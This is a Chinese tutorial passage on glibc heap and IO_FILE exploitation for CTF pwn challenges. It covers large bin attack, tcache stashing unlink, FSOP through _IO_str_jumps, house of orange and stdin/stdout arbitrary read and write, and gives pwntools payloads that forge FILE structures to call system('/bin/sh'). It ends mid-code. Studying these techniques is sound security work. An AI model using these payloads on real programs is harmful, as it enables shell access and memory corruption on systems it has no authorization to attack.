我们想用类似于 unsorted bin into stack 的手段，将某个 unsorted bin 的 bk 指向我们需要获得读写权限的地址，然后申请到该地址，但是我们又没办法在该地址周围伪造 fake chunk，这时候可以配合 large bin attack 进行攻击。
假设需要获取权限的目标地址为 addr，我们首先将某个 unsorted bin（large bin 大小，大小为 X，地址为 Z）的 bk 指向 addr-0x20，然后将此时 large bin 中某堆块（大小为 Y，X 略大于 Y）的 bk 设为 addr-0x18，bk_nextsize 设为 addr-0x20-0x20+3。
这时通过申请 0x50 大小的堆块（后面解释），然后 unsorted bin 的那个堆块会被放入 large bin 中，先是 addr-0x10 被写入 main_arena+88（在此攻击手段中用处不大），然后由于 large bin attack，在地址 Z 对应的堆块从 unsorted bin 被转入 large bin 后，addr-0x8 会被写入地址 Z，从 addr-0x20+3 开始也会写入地址 Z，造成的结果就是 addr-0x18 处会被写入了 0x55 或 0x56（即地址 Z 的最高位），相当于伪造了 size。
此时的情形如下：

```
1 addr-0x20:    0x4d4caf8060000000    0x0000000000000056
2 addr-0x10:    0x00007fe2b0e39b78    0x0000564d4caf8060
3 addr: ...
```

这时，由于之前申请了 0x50 大小的堆块（解释了设置 large bin 的 bk_nextsize 的目的，即为伪造 size），那么就会申请到 chunk header 位于 addr-0x20 的 fake chunk 返回给用户，此时需要访问到 fake chunk 的 bk 指针指向的地址（bck->fd = victim），因此需要其为一个**有效的地址**，这就解释了设置 large bin 的 bk 的目的。
最后需要说明的是，当开了地址随机化之后，堆块的地址最高位只可能是 0x55 或

0x56，而只有当最高位为 0x56 的时候，上述攻击方式才能生效，这里其实和伪造 0x7f 而用 0x7_后面加上其他某个数可能就不行的原因一样，是由于__libc_malloc 中有这么一句断言：

```
1 assert(!victim || chunk_is_mmapped(mem2chunk(victim))
2        || ar_ptr == arena_for_chunk(mem2chunk(victim)));
```

过上述检测需要满足以下一条即可：

1. victim 为 0 （没有申请到内存）
2. IS_MMAPPED 为 1 （是 mmap 的内存）
3. NON_MAIN_ARENA 为 0 （申请到的内存必须在其所分配的 arena 中）

   而此时由于是伪造在别处的堆块，不满足我们常规需要满足的第三个条件，因此必须要满足第二个条件了，查看宏定义#define IS_MMAPPED 0x2，#define chunk_is_mmapped(p) ((p)->size & IS_MMAPPED)可知，需要 size & 0x2 不为 0 才能通过 mmap 的判断。

值得一提的是，由于 addr-0x8（即 fake chunk 的 bk 域）被写入了地址 z，因此最终在 fake chunk 被返还给用户后，unsorted bin 中仍有地址 z 所对应的堆块（已经被放入了 large bin 中），且其 fd 域被写入了 main_arena+88（bck->fd = unsorted_chunks(av)）。

tcache_stashing_unlink_attack

先来看 house of lore，如果能够修改 small bin 的某个 free chunk 的 bk 为 fake chunk，并且通过修改 fake chunk 的 fd 为该 free chunk，绕过 __glibc_unlikely(bck->fd != victim)检查，就可以通过申请堆块得到这个 fake chunk，进而进行任意地址的读写操作。
当在高版本 libc 下有 tcache 后，将会更加容易达成上述目的，因为当从 small bin 返回了一个所需大小的 chunk 后，在将剩余堆块放入 tcache bin 的过程中，除了检测了第一个堆块的 fd 指针外，都缺失了__glibc_unlikely (bck->fd != victim)的双向链表完整性检测，又 calloc()会越过 tcache 取堆块，因此有了如下 tcache_stashing_unlink_attack 的攻击手段，并同时实现了 libc 的泄露或将任意地址中的值改为很大的数（与 unsorted bin attack 很类似）。

1. 假设目前 tcache bin 中已经有五个堆块，并且相应大小的 small bin 中已经有两个堆块，由 bk 指针连接为：chunk_A<-chunk_B。
2. 利用漏洞修改 chunk_A 的 bk 为 fake chunk，并且修改 fake chunk 的 bk 为 target_addr - 0x10。

3. 通过 calloc()越过 tcache bin，直接从 small bin 中取出 chunk_B 返回给用户，并且会将 chunk_A 以及其所指向的 fake chunk 放入 tcache bin（这里只会检测 chunk_A 的 fd 指针是否指向了 chunk_B）。

```
while ( tcache->counts[tc_idx] < mp_.tcache_count
    && (tc_victim = last (bin) ) != bin) //验证取出的 Chunk 是否为 Bin 本身（Smallbin 是否已空）
{
 if (tc_victim != 0) //成功获取了 chunk
 {
     bck = tc_victim->bk; //在这里 bck 是 fake chunk 的 bk
     //设置标志位
     set_inuse_bit_at_offset (tc_victim, nb);
     if (av != &main_arena)
         set_non_main_arena (tc_victim);

     bin->bk = bck;
     bck->fd = bin; //关键处

     tcache_put (tc_victim, tc_idx); //将其放入到 tcache 中
 }
}
```

4. 在 fake chunk 放入 tcache bin 之前，执行了 bck->fd = bin;的操作（这里的 bck 就是 fake chunk 的 bk，也就是 target_addr - 0x10），故 target_addr - 0x10 的 fd，也就 target_addr 地址会被写入一个与 libc 相关大数值（可利用）。
5. 再申请一次，就可以从 tcache 中获得 fake chunk 的控制权。

综上，此利用可以完成**获得任意地址的控制权**和**在任意地址写入大数值**两个任务，这两个任务当然也可以拆解分别完成。

1. 获得任意地址 target_addr 的控制权：在上述流程中，直接将 chunk_A 的 bk 改为 target_addr - 0x10，并且保证 target_addr - 0x10 的 bk 的 fd 为一个可写地址（一般情况下，使 target_addr - 0x10 的 bk，即 target_addr + 8 处的值为一个可写地址即可）。
2. 在任意地址 target_addr 写入大数值：在 unsorted bin attack 后，有时候要修复链表，在链表不好修复时，可以采用此利用达到同样的效果，在高版本 glibc 下，unsorted bin attack 失效后，此利用应用更为广泛。在上述流程中，需要使 tcache bin 中原先有六个堆块，然后将 chunk_A 的 bk 改为 target_addr - 0x10 即可。

此外，让 tcache bin 中不满七个，就又在 smallbin 中有同样大小的堆块，并且只有 calloc，可以利用堆块分割后，残余部分进入 unsorted bin 实现。

IO_FILE 相关结构体

_IO_FILE_plus 结构体的定义为：

```
1 struct _IO_FILE_plus
2 {
3   _IO_FILE file;
4   const struct _IO_jump_t *vtable;
5 };
```

vtable 对应的结构体_IO_jump_t 的定义为：

```
1  struct _IO_jump_t
2  {
3      JUMP_FIELD(size_t, __dummy);
4      JUMP_FIELD(size_t, __dummy2);
5      JUMP_FIELD(_IO_finish_t, __finish);
6      JUMP_FIELD(_IO_overflow_t, __overflow);
7      JUMP_FIELD(_IO_underflow_t, __underflow);
8      JUMP_FIELD(_IO_underflow_t, __uflow);
9      JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
10     /* showmany */
11     JUMP_FIELD(_IO_xsputn_t, __xsputn);
12     JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
13     JUMP_FIELD(_IO_seekoff_t, __seekoff);
14     JUMP_FIELD(_IO_seekpos_t, __seekpos);
15     JUMP_FIELD(_IO_setbuf_t, __setbuf);
16     JUMP_FIELD(_IO_sync_t, __sync);
17     JUMP_FIELD(_IO_doallocate_t, __doallocate);
18     JUMP_FIELD(_IO_read_t, __read);
19     JUMP_FIELD(_IO_write_t, __write);
20     JUMP_FIELD(_IO_seek_t, __seek);
21     JUMP_FIELD(_IO_close_t, __close);
22     JUMP_FIELD(_IO_stat_t, __stat);
23     JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
24     JUMP_FIELD(_IO_imbue_t, __imbue);
25 #if 0
26     get_column;
27     set_column;
```

```
#endif
};
```

这个函数表中有 19 个函数，分别完成 IO 相关的功能，由 IO 函数调用，如 fwrite 最终会调用__write 函数，fread 会调用__doallocate 来分配 IO 缓冲区等。

```
struct _IO_FILE {
      int _flags;
    #define _IO_file_flags _flags

    char* _IO_read_ptr;   /* Current read pointer */
    char* _IO_read_end;   /* End of get area. */
    char* _IO_read_base;  /* Start of putback+get area. */
    char* _IO_write_base; /* Start of put area. */
    char* _IO_write_ptr;  /* Current put pointer. */
    char* _IO_write_end;  /* End of put area. */
    char* _IO_buf_base;   /* Start of reserve area. */
    char* _IO_buf_end;    /* End of reserve area. */
    /* The following fields are used to support backing up and undo. */
    char *_IO_save_base; /* Pointer to start of non-current get area. */
    char *_IO_backup_base;  /* Pointer to first valid character of backup area */
    char *_IO_save_end; /* Pointer to end of non-current get area. */

    struct _IO_marker *_markers;

    struct _IO_FILE *_chain;

    int _fileno;
#if 0
    int _blksize;
#else
    int _flags2;
#endif
    _IO_off_t _old_offset;

#define __HAVE_COLUMN
    unsigned short _cur_column;
    signed char _vtable_offset;
    char _shortbuf[1];
    _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
```

进程中 FILE 结构通过_chain 域构成一个链表，链表头部为_IO_list_all 全局变量，默认情况下依次链接了 stderr,stdout,stdin 三个文件流，并将新建的流插入到头部，vtable 虚表为_IO_file_jumps。
此外，还有_IO_wide_data 结构体：

```
struct _IO_wide_data
{
        wchar_t *_IO_read_ptr;
        wchar_t *_IO_read_end;
        wchar_t *_IO_read_base;
        wchar_t *_IO_write_base;
        wchar_t *_IO_write_ptr;
        wchar_t *_IO_write_end;
        wchar_t *_IO_buf_base;
        wchar_t *_IO_buf_end;
        [...]
        const struct _IO_jump_t *_wide_vtable;
};
```

还有一些宏的定义：

```
#define _IO_MAGIC 0xFBAD0000
#define _OLD_STDIO_MAGIC 0xFABC0000
#define _IO_MAGIC_MASK 0xFFFF0000
#define _IO_USER_BUF 1
#define _IO_UNBUFFERED 2
#define _IO_NO_READS 4
#define _IO_NO_WRITES 8
#define _IO_EOF_SEEN 0x10
#define _IO_ERR_SEEN 0x20
#define _IO_DELETE_DONT_CLOSE 0x40
#define _IO_LINKED 0x80
#define _IO_IN_BACKUP 0x100
#define _IO_LINE_BUF 0x200
#define _IO_TIED_PUT_GET 0x400
#define _IO_CURRENTLY_PUTTING 0x800
#define _IO_IS_APPENDING 0x1000
#define _IO_IS_FILEBUF 0x2000
#define _IO_BAD_SEEN 0x4000
#define _IO_USER_LOCK 0x8000
```

此外，许多 Pwn 题初始化的时候都会有下面三行：

```
1 setvbuf(stdin, 0LL, 2, 0LL);
2 setvbuf(stdout, 0LL, 2, 0LL);
3 setvbuf(stderr, 0LL, 2, 0LL);
```

这是初始化程序的 io 结构体，只有初始化之后，io 函数才能在程序过程中打印数据，如果不初始化，就只能在 exit 结束的时候，才能一起把数据打印出来。

IO_FILE attack 之 FSOP (libc 2.23 & 2.24)

主要原理为劫持 vtable 与_chain，伪造 IO_FILE，主要利用方式为调用 IO_flush_all_lockp()函数触发。
IO_flush_all_lockp()函数将在以下三种情况下被调用：

1. libc 检测到**内存错误**，从而执行 abort 函数时（在 glibc-2.26 删除）。
2. 程序执行 exit 函数时。
3. 程序从 main 函数返回时。

源码：

```
1  int _IO_flush_all_lockp (int do_lock)
2  {
3    int result = 0;
4    struct _IO_FILE *fp;
5    int last_stamp;
6
7    fp = (_IO_FILE *) _IO_list_all;
8    while (fp != NULL)
9      {
10         ...
11       if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
12 #if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
13        || (_IO_vtable_offset (fp) == 0
14            && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
15                                 > fp->_wide_data->_IO_write_base))
16 #endif
17        )
18       && _IO_OVERFLOW (fp, EOF) == EOF)   //如果输出缓冲区有数据，刷新输出缓冲区
19     result = EOF;
20
```

```
21
22      fp = fp->_chain; //遍历链表
23      }
24      [...]
25  }
```

可以看到，当满足：

```
1 fp->_mode = 0
2 fp->_IO_write_ptr > fp->_IO_write_base
```

就会调用_IO_OVERFLOW()函数，而这里的_IO_OVERFLOW 就是**文件流对象虚表的第四项**指向的内容_IO_new_file_overflow，因此在 libc-2.23 版本下可如下构造，进行 FSOP：

```
1   ._chain => chunk_addr
2   chunk_addr
3   {
4     file = {
5       _flags = "/bin/sh\x00", //对应此结构体首地址(fp)
6       _IO_read_ptr = 0x0,
7       _IO_read_end = 0x0,
8       _IO_read_base = 0x0,
9       _IO_write_base = 0x0,
10      _IO_write_ptr = 0x1,
11        ...
12        _mode = 0x0, //一般不用特意设置
13        _unused2 = '\000' <repeats 19 times>
14    },
15    vtable = heap_addr
16  }
17  heap_addr
18  {
19    __dummy = 0x0,
20    __dummy2 = 0x0,
21    __finish = 0x0,
22    __overflow = system_addr,
23      ...
24  }
```

因此这样构造，通过_IO_OVERFLOW (fp)，我们就实现了 system("/bin/sh\x00")。

而 libc-2.24 加入了对虚表的检查 IO_validate_vtable()与 IO_vtable_check()，若无法通过检查，则会报错：Fatal error: glibc detected an invalid stdio handle。

```
#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)
#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
# define _IO_JUMPS_FUNC(THIS) \
  (IO_validate_vtable                                                 \
   (*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (THIS)   \
                + (THIS)->_vtable_offset)))
```

可见在最终调用 vtable 的函数之前，内联进了 IO_validate_vtable 函数，其源码如下：

```
static inline const struct _IO_jump_t * IO_validate_vtable (const struct _IO_jump_t *vtable)
{
  uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
  const char *ptr = (const char *) vtable;
  uintptr_t offset = ptr - __start___libc_IO_vtables;
  if (__glibc_unlikely (offset >= section_length)) //检查 vtable 指针是否在 glibc 的 vtable 段中。
    _IO_vtable_check ();
  return vtable;
}
```

glibc 中有一段完整的内存存放着各个 vtable，其中__start___libc_IO_vtables 指向第一个 vtable 地址_IO_helper_jumps，而__stop___libc_IO_vtables 指向最后一个 vtable_IO_str_chk_jumps 结束的地址。

若指针不在 glibc 的 vtable 段，会调用_IO_vtable_check()做进一步检查，以判断程序是否使用了外部合法的 vtable（重构或是动态链接库中的 vtable），如果不是则报错。

具体源码如下：

```
void attribute_hidden _IO_vtable_check (void)
{
#ifdef SHARED
  void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLE
  PTR_DEMANGLE (flag);
#endif
  if (flag == &_IO_vtable_check) //检查是否是外部重构的 vtable
    return;

  {
    Dl_info di;
    struct link_map *l;
    if (_dl_open_hook != NULL
        || (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
            && l->l_ns != LM_ID_BASE)) //检查是否是动态链接库中的 vtable
```

```
17        return;
18    }
19
20 ...
21
22    __libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n");
23 }
```

因此，最好的办法是：我们伪造的 vtable 在 glibc 的 vtable 段中，从而得以绕过该检查。

目前来说，有四种思路：利用_IO_str_jumps 中_IO_str_overflow()函数，利用_IO_str_jumps 中_IO_str_finish()函数与利用_IO_wstr_jumps 中对应的这两种函数，先来介绍最为方便的：利用_IO_str_jumps 中_IO_str_finish()函数的手段。

_IO_str_jumps 的结构体如下：

```
1 const struct _IO_jump_t _IO_str_jumps libio_vtable =
2 {
3     JUMP_INIT_DUMMY,
4     JUMP_INIT(finish, _IO_str_finish),
5     JUMP_INIT(overflow, _IO_str_overflow),
6     JUMP_INIT(underflow, _IO_str_underflow),
7     JUMP_INIT(uflow, _IO_default_uflow),
8     ...
9 }
```

其中，_IO_str_finish 源代码如下：

```
1 void _IO_str_finish (_IO_FILE *fp, int dummy)
2 {
3   if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
4     (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base); //执行函数
5   fp->_IO_buf_base = NULL;
6   _IO_default_finish (fp, 0);
7 }
```

其中相关的_IO_str_fields 结构体与_IO_strfile_结构体的定义：

```
1  struct _IO_str_fields
2  {
3    _IO_alloc_type _allocate_buffer;
4    _IO_free_type _free_buffer;
5  };
6
7  typedef struct _IO_strfile_
8  {
```

```
    struct _IO_streambuf _sbf;
    struct _IO_str_fields _s;
} _IO_strfile;
```

可以看到，它使用了 IO 结构体中的值当作函数地址来直接调用，如果满足条件，将直接将 fp->_s._free_buffer 当作**函数指针**来调用。

首先，仍然需要绕过之前的_IO_flush_all_lokcp 函数中的输出缓冲区的检查 _mode<=0 以及_IO_write_ptr>_IO_write_base 进入到_IO_OVERFLOW 中。

我们可以将 vtable 的地址覆盖成_IO_str_jumps-8，这样会使得_IO_str_finish 函数成为了伪造的 vtable 地址的_IO_OVERFLOW 函数（因为_IO_str_finish 偏移为 _IO_str_jumps 中 0x10，而_IO_OVERFLOW 为 0x18）。这个 vtable（地址为 _IO_str_jumps-8）可以绕过检查，因为它在 vtable 的地址段中。

构造好 vtable 之后，需要做的就是构造 IO FILE 结构体其他字段，以进入将 fp->_s._free_buffer 当作函数指针的调用：先构造 fp->_IO_buf_base 为/bin/sh 的地址，然后构造 fp->_flags 不包含_IO_USER_BUF，它的定义为#define _IO_USER_BUF 1，即 fp->_flags 最低位为 0。

最后构造 fp->_s._free_buffer 为 system_addr 或 one gadget 即可 getshell。

由于 libc 中没有_IO_str_jump 的符号，因此可以通过_IO_str_jumps 是 vtable 中的倒数第二个表，用 vtable 的最后地址减去 0x168 定位。

也可以用如下函数进行定位：

```
# libc.address = libc_base
def get_IO_str_jumps():
    IO_file_jumps_addr = libc.sym['_IO_file_jumps']
    IO_str_underflow_addr = libc.sym['_IO_str_underflow']
    for ref in libc.search(p64(IO_str_underflow_addr-libc.address)):
        possible_IO_str_jumps_addr = ref - 0x20
        if possible_IO_str_jumps_addr > IO_file_jumps_addr:
            return possible_IO_str_jumps_addr
```

可以进行如下构造：

```
._chain => chunk_addr
chunk_addr
{
  file = {
    _flags = 0x0,
    _IO_read_ptr = 0x0,
    _IO_read_end = 0x0,
    _IO_read_base = 0x0,
    _IO_write_base = 0x0,
    _IO_write_ptr = 0x1,
    _IO_write_end = 0x0,
    _IO_buf_base = bin_sh_addr,
```

```
13        ...
14        _mode = 0x0, //一般不用特意设置
15        _unused2 = '\000' <repeats 19 times>
16    },
17    vtable = _IO_str_jumps-8 //chunk_addr + 0xd8 ~ +0xe0
18 }
19 +0xe0 ~ +0xe8 : 0x0
20 +0xe8 ~ +0xf0 : system_addr / one_gadget //fp->_s._free_buffer
```

利用 house of orange（见下文）构造的 payload：

```
1 payload = p64(0) + p64(0x60) + p64(0) + p64(libc.sym['_IO_list_all'] - 0x10) #unsorted bin attack
2 payload += p64(0) + p64(1) + p64(0) + p64(next(libc.search(b'/bin/sh')))
3 payload = payload.ljust(0xd8, b'\x00') + p64(get_IO_str_jumps() - 8)
4 payload += p64(0) + p64(libc.sym['system'])
```

再来介绍一下：利用_IO_str_jumps 中_IO_str_overflow()函数的手段。

_IO_str_overflow()函数的源码如下：

```
1  int _IO_str_overflow (_IO_FILE *fp, int c)
2  {
3    int flush_only = c == EOF;
4    _IO_size_t pos;
5    if (fp->_flags & _IO_NO_WRITES)
6        return flush_only ? 0 : EOF;
7    if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
8      {
9        fp->_flags |= _IO_CURRENTLY_PUTTING;
10       fp->_IO_write_ptr = fp->_IO_read_ptr;
11       fp->_IO_read_ptr = fp->_IO_read_end;
12     }
13   pos = fp->_IO_write_ptr - fp->_IO_write_base;
14   if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
15     {
16       if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
17     return EOF;
18       else
19     {
20       char *new_buf;
21       char *old_buf = fp->_IO_buf_base;
22       size_t old_blen = _IO_blen (fp);
23       _IO_size_t new_size = 2 * old_blen + 100;
24       if (new_size < old_blen)
```

```
25          return EOF;
26        new_buf
27          = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size); // 调用了
28 fp->_s._allocate_buffer 函数指针
29        if (new_buf == NULL)
30          {
31            /*      __ferror(fp) = 1; */
32            return EOF;
33          }
34        if (old_buf)
35          {
36            memcpy (new_buf, old_buf, old_blen);
37            (*((_IO_strfile *) fp)->_s._free_buffer) (old_buf);
38            /* Make sure _IO_setb won't try to delete _IO_buf_base. */
39            fp->_IO_buf_base = NULL;
40          }
41        memset (new_buf + old_blen, '\0', new_size - old_blen);
42
43        _IO_setb (fp, new_buf, new_buf + new_size, 1);
44        fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
45        fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
46        fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
47        fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);
48
49        fp->_IO_write_base = new_buf;
50        fp->_IO_write_end = fp->_IO_buf_end;
51      }
52      }
53
54    if (!flush_only)
55      *fp->_IO_write_ptr++ = (unsigned char) c;
56    if (fp->_IO_write_ptr > fp->_IO_read_end)
57      fp->_IO_read_end = fp->_IO_write_ptr;
58    return c;
   }
```

和之前利用`_IO_str_finish`的思路差不多，可以看到其中调用了`fp->_s._allocate_buffer`函数指针，其参数`rdi`为`new_size`，因此，我们将`_s._allocate_buffer`改为`system`的地址，`new_size`改为`/bin/sh`的地址，又`new_size = 2 * old_blen + 100`，也就是`new_size = 2 * _IO_blen (fp) + 100`，可以找到宏定义：`#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)`，因此`new_size = 2 * ((fp)->_IO_buf_end -`

(fp)->_IO_buf_base) + 100，故我们可以使_IO_buf_base = 0，_IO_buf_end = (bin_sh_addr - 100) // 2，当然还不能忘了需要绕过_IO_flush_all_lokcp 函数中的输出缓冲区的检查_mode<=0 以及_IO_write_ptr>_IO_write_base 才能进入到 _IO_OVERFLOW 中，故令_IO_write_ptr = 0xffffffffffffffff 且_IO_write_base = 0x0 即可。

最终可按如下布局 fake IO_FILE：

```
._chain => chunk_addr
chunk_addr
{
  file = {
    _flags = 0x0,
    _IO_read_ptr = 0x0,
    _IO_read_end = 0x0,
    _IO_read_base = 0x0,
    _IO_write_base = 0x0,
    _IO_write_ptr = 0x1,
    _IO_write_end = 0x0,
    _IO_buf_base = 0x0,
    _IO_buf_end = (bin_sh_addr - 100) // 2,
      ...
      _mode = 0x0, //一般不用特意设置
      _unused2 = '\000' <repeats 19 times>
  },
  vtable = _IO_str_jumps //chunk_addr + 0xd8 ~ +0xe0
}
+0xe0 ~ +0xe8 : system_addr / one_gadget //fp->_s._allocate_buffer
```

参考 payload（劫持的 stdout）：

```
new_size = libc_base + next(libc.search(b'/bin/sh'))
payload = p64(0xfbad2084)
payload += p64(0) # _IO_read_ptr
payload += p64(0) # _IO_read_end
payload += p64(0) # _IO_read_base
payload += p64(0) # _IO_write_base
payload += p64(0xffffffffffffffff) # _IO_write_ptr
payload += p64(0) # _IO_write_end
payload += p64(0) # _IO_buf_base
payload += p64((new_size - 100) // 2) # _IO_buf_end
payload += p64(0) * 4
payload += p64(libc_base + libc.sym["_IO_2_1_stdin_"])
payload += p64(1) + p64((1<<64) - 1)
```

```
payload += p64(0) + p64(libc_base + 0x3ed8c0) #lock
payload += p64((1<<64) - 1) + p64(0)
payload += p64(libc_base + 0x3eb8c0)
payload += p64(0) * 6
payload += p64(libc_base + get_IO_str_jumps_offset()) # _IO_str_jumps
payload += p64(libc_base + libc.sym["system"])
```

而在 libc-2.28 及以后，由于不再使用偏移找_s._allocate_buffer 和 _s._free_buffer，而是直接用 malloc 和 free 代替，所以 FSOP 也失效了。

house of orange

利用 unsorted bin attack 配合 IO_FILE attack (FSOP)进行攻击。

通过 unsorted bin attack 将_IO_list_all 内容从_IO_2_1_stderr_改为 main_arena+88/96（实则指向 top chunk）。
而在_IO_FILE_plus 结构体中，_chain 的偏移为 0x68，而 top chunk 之后为 0x8 单位的 last_remainder，接下来为 unsorted bin 的 fd 与 bk 指针，共 0x10 大小，再之后为 small bin 中的指针（每个 small bin 有 fd 与 bk 指针，共 0x10 个单位），剩下 0x50 的单位，从 smallbin[0]正好分配到 smallbin[4]（准确说为其 fd 字段），大小就是从 0x20 到 0x60，而 smallbin[4]的 fd 字段中的内容为该链表中最靠近表头的 small bin 的地址 (chunk header)，因此 0x60 的 small bin 的地址即为 fake struct 的_chain 中的内容，只需要控制该 0x60 的 small bin（以及其下面某些堆块）中的部分内容，即可进行 FSOP。

IO_FILE attack 之 利用_fileno 字段

_fileno 的值就是**文件描述符**，位于 stdin 文件结构开头 0x70 偏移处，如：stdin 的 fileno 为 0，stdout 的 fileno 为 1，stderr 的 fileno 为 2。
在漏洞利用中，可以通过修改 stdin 的_fileno 值来**重定位**需要读取的文件，本来为 0 的话，表示从标准输入中读取，修改为 3 则表示为从文件描述符为 3 的文件（已经 open 的文件）中读取，该利用在某些情况下可直接读取 flag。

IO_FILE attack 之 任意读写

1.利用 stdin 进行**任意写**

scanf，fread，gets 等读入走 IO 指针（read 不走）。
大体流程为：若_IO_buf_base 为空，则调用_IO_doallocbuf 去初始化输入缓冲区，然后判断输入缓冲区是否存在剩余数据，如果输入缓冲区有剩余数据

（_IO_read_end > _IO_read_ptr）则将其**直接拷贝至目标地址**（不会对此时输入的数据进行读入），如果没有或不够，则调用__underflow 函数**执行系统调用读取数据**（SYS_read）到输入缓冲区（从_IO_buf_base 到_IO_buf_end，默认 0x400，即将数据读到_IO_buf_base，读取 0x400 个字节），此时若实际读入了 n 个字节的数据，则_IO_read_end = _IO_buf_base + n（即_IO_read_end 指向实际读入的最后一个字节的数据），之后再将输入缓冲区中的数据拷贝到目标地址。
这里需要注意的是，若输入缓冲区中没有剩余的数据，则每次读入数据进输入缓冲区，仅和_IO_buf_base 与_IO_buf_end 有关。
在将数据从输入缓冲区拷贝到目标地址的过程中，**需要满足所调用的读入函数的自身的限制条件**，例如：使用 scanf("%d",&a)读入整数，则当在输入缓冲区中遇到了字符（或 scanf 的一些截断符）等不符合的情况，就会停止这个拷贝的过程。最终，_IO_read_ptr 指向成功拷贝到目的地址中的最后一个字节数据在输入缓冲区中的地址。因此，若是遇到了不符合限制条件的情况而终止拷贝，则最终会使得_IO_read_end > _IO_read_ptr，即再下一次读入之前会被认定为输入缓冲区中仍有剩余数据，在此情况下，**很有可能不会进行此次读入**，或将输入缓冲区中剩余的数据拷贝到此次读入的目标地址，从而**导致读入的错误**。
getchar()和 IO_getc()的作用是刷新_IO_read_ptr，每次调用，会从输入缓冲区读一个字节数据，即将_IO_read_ptr++。
相关源码：

```
_IO_size_t _IO_file_xsgetn (_IO_FILE *fp, void *data, _IO_size_t n)
{
 ...
  if (fp->_IO_buf_base == NULL)
    {
      ...
      //输入缓冲区为空则初始化输入缓冲区
    }
  while (want > 0)
    {
      have = fp->_IO_read_end - fp->_IO_read_ptr;
      if (have > 0)
        {
          ...
          //memcpy

        }
      if (fp->_IO_buf_base
          && want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base))
        {
          if (__underflow (fp) == EOF)  // 调用__underflow 读入数据
          ...
        }
```

```
      ...
  return n - want;
}

int _IO_new_file_underflow (_IO_FILE *fp)
{
  _IO_ssize_t count;
  ...
  // 会检查_flags是否包含_IO_NO_READS标志，包含则直接返回。
  // 标志的定义是#define _IO_NO_READS 4，因此_flags不能包含4。
  if (fp->_flags & _IO_NO_READS)
    {
      fp->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return EOF;
    }
  // 如果输入缓冲区里存在数据，则直接返回
  if (fp->_IO_read_ptr < fp->_IO_read_end)
    return *(unsigned char *) fp->_IO_read_ptr;
  ...
  // 调用_IO_SYSREAD函数最终执行系统调用读取数据
  count = _IO_SYSREAD (fp, fp->_IO_buf_base,
                       fp->_IO_buf_end - fp->_IO_buf_base);
  ...
}
libc_hidden_ver (_IO_new_file_underflow, _IO_file_underflow)
```

综上，为了做到**任意写**，满足如下条件，即可进行利用：

(1) 设置`_IO_read_end`等于`_IO_read_ptr`（使得输入缓冲区内没有剩余数据，从而可以从用户读入数据）。

(2) 设置`_flag &~ _IO_NO_READS`即`_flag &~ 0x4`（一般不用特意设置）。

(3) 设置`_fileno`为`0`（一般不用特意设置）。

(4) 设置`_IO_buf_base`为`write_start`，`_IO_buf_end`为`write_end`（我们目标写的起始地址是`write_start`，写结束地址为`write_end`），且使得`_IO_buf_end-_IO_buf_base`大于要写入的数据长度。

2.利用`stdout`进行**任意读/写**

printf，fwrite，puts 等输出走 IO 指针（write 不走）。
在_IO_2_1_stdout_中，_IO_buf_base 和_IO_buf_end 为输出缓冲区起始位置（默认大小为 0x400），在输出的过程中，会先将需要输出的数据从目标地址拷贝到输出缓冲区，再从输出缓冲区输出给用户。
缓冲区建立函数_IO_doallocbuf 会建立输出缓冲区，并把基地址保存在_IO_buf_base 中，结束地址保存在_IO_buf_end 中。在建立里输出缓冲区后，会将基址址给_IO_write_base，若是设置的是全缓冲模式_IO_FULL_BUF，则会将结束地址给_IO_write_end，若是设置的是行缓冲模式_IO_LINE_BUF，则_IO_write_end 中存的是_IO_buf_base，此外，_IO_write_ptr 表示输出缓冲区中已经使用到的地址。即_IO_write_base 到_IO_write_ptr 之间的空间是已经使用的缓冲区，_IO_write_ptr 到_IO_write_end 之间为剩余的输出缓冲区。
最终实际调用了_IO_2_1_stdout_的 vtable 中的_xsputn，也就是_IO_new_file_xsputn 函数，源码如下：

```
IO_size_t _IO_new_file_xsputn (_IO_FILE *f, const void *data, _IO_size_t n)
{
  const char *s = (const char *) data;
  _IO_size_t to_do = n;
  int must_flush = 0;
  _IO_size_t count = 0;
  if (n <= 0)
    return 0;
  if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING))
    { //如果是行缓冲模式...
      count = f->_IO_buf_end - f->_IO_write_ptr; //判断输出缓冲区还有多少空间
      if (count >= n)
        {
          const char *p;
          for (p = s + n; p > s; )
            {
              if (*--p == '\n') //最后一个换行符\n 为截断符，且需要刷新输出缓冲区
                {
                  count = p - s + 1;
                  must_flush = 1; //标志为真：需要刷新输出缓冲区
                  break;
                }
            }
        }
    }
  else if (f->_IO_write_end > f->_IO_write_ptr) //判断输出缓冲区还有多少空间（全缓冲模式）
    count = f->_IO_write_end - f->_IO_write_ptr;
  if (count > 0)
```

```
29      {
30        //如果输出缓冲区有空间，则先把数据拷贝至输出缓冲区
31        if (count > to_do)
